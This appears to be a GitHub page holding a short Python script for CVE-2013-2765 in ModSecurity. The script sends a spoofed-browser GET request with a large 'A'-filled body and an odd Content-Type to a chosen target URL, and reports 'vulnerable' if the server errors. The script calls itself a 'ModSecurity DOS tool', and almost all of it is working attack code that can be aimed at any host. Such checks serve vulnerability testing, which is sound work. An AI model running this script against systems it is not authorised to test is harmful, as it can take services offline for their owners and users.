-
Notifications
You must be signed in to change notification settings - Fork 2
/
modsecurity_cve_2013_2765_check.py
executable file
·70 lines (56 loc) · 2.33 KB
/
modsecurity_cve_2013_2765_check.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python3
#-*- coding: utf-8 -*-
#
# Created on Mar 29, 2013
#
# @author: Younes JAAIDI <yjaaidi@shookalabs.com>
#
import argparse
import http.client
import logging
import sys
import urllib.request
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
logger.addHandler(logging.StreamHandler(sys.stderr))
class ModSecurityDOSCheck(object):
_DEFAULT_REQUEST_BODY_SIZE = 200 # KB
_DEFAULT_CONCURRENCY = 100
_DEFAULT_USER_AGENT = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36"
def __init__(self):
self._request_counter = 0
self._status_message = None
def main(self, args_list):
args_object = self._parse_args(args_list)
payload = "A" * args_object.request_body_size * 1024
request = urllib.request.Request(args_object.target_url,
method = "GET",
data = payload.encode('utf-8'),
headers = {'Content-Type': 'text/random',
'User-Agent': self._DEFAULT_USER_AGENT})
if self._send_request(request):
logger.info("Target seems to be vulnerable!!!")
return 0
else:
logger.info("Attack didn't work. Try increasing the 'REQUEST_BODY_SIZE'.")
return 1
def _parse_args(self, args_list):
parser = argparse.ArgumentParser(description="ModSecurity DOS tool.")
parser.add_argument('-t', '--target-url',
dest = 'target_url',
required = True,
help = "Target URL")
parser.add_argument('-s', '--request-body-size',
dest = 'request_body_size',
default = self._DEFAULT_REQUEST_BODY_SIZE,
type = int,
help = "Request body size in KB")
return parser.parse_args()
def _send_request(self, request):
try:
urllib.request.urlopen(request)
return False
except (http.client.BadStatusLine, urllib.error.HTTPError):
return True
if __name__ == '__main__':
sys.exit(ModSecurityDOSCheck().main(sys.argv))